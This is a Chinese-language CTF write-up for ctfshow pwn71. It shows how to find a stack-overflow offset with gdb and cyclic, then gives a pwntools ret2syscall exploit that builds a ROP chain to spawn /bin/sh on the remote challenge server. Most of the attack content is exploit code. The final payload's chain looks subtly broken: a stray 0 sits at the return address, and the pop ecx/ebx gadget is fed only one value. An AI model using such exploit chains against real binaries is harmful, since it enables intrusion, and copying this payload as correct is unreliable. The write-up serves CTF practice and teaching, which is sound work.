题目本身并不难，但是坑还是有的，我们重点关注gdb的使用

eg ctfshow pwn71（32位ret2sycall）

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("===============CTFshow--PWN===============");
  puts("Try to use ret2syscall!");
  gets(&v4);
  return 0;
}

本题是静态编译，函数很多，自然想到ret2syscall。在v4存在明显栈溢出漏洞

这里的坑是ida给的这个0x64的偏移实际上是不准的，需要我们用gdb算一下

用gdb计算偏移量

我们先不需要写exp，直接gdb程序即可

先用cyclic 200生成一堆垃圾数，复制下来，或者自己手动打一堆aaaaaaa……也可以

在gets函数前随便找个地方下断点，然后按r，走到gets输入的地方，把那一堆垃圾数据粘贴并发送过去

然后用这个指令计算偏移

cyclic -l <EIP/RIP的值>

得到偏移量为112

灵活使用gadget

下一步是用ROPgetgad查找pop寄存器，但是我们不可能每次都正好找到完美符合条件的

这题我们是没法找到单独的pop ecx的，只有一段和ebx连在一起的gadget，不过也可以用，把二者合起来就是了

exp如下

from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug',terminal = ['tmux', 'split-window', '-h'])
 
#elf = ELF('./pwn71')
 
io = remote('pwn.challenge.ctf.show',28251)
 
#io=process('./pwn71')

#io=gdb.debug("./pwn71",'b*0x08048E93')

pop_eax = 0x080bb196
pop_edx = 0x0806eb6a 
pop_ecx_ebx = 0x0806eb91 
int_0x80 = 0x08049421
bin_sh_addr = 0x080BE408

#offset = cyclic(200)
offset = 112
payload = offset*b'a'
payload = flat([
    offset * b'a',
    0,
    pop_edx,
    0,            
    pop_ecx_ebx,
    bin_sh_addr,     
    pop_eax, 0xb,           
    int_0x80
])

io.sendlineafter("Try to use ret2syscall!", payload)

io.interactive()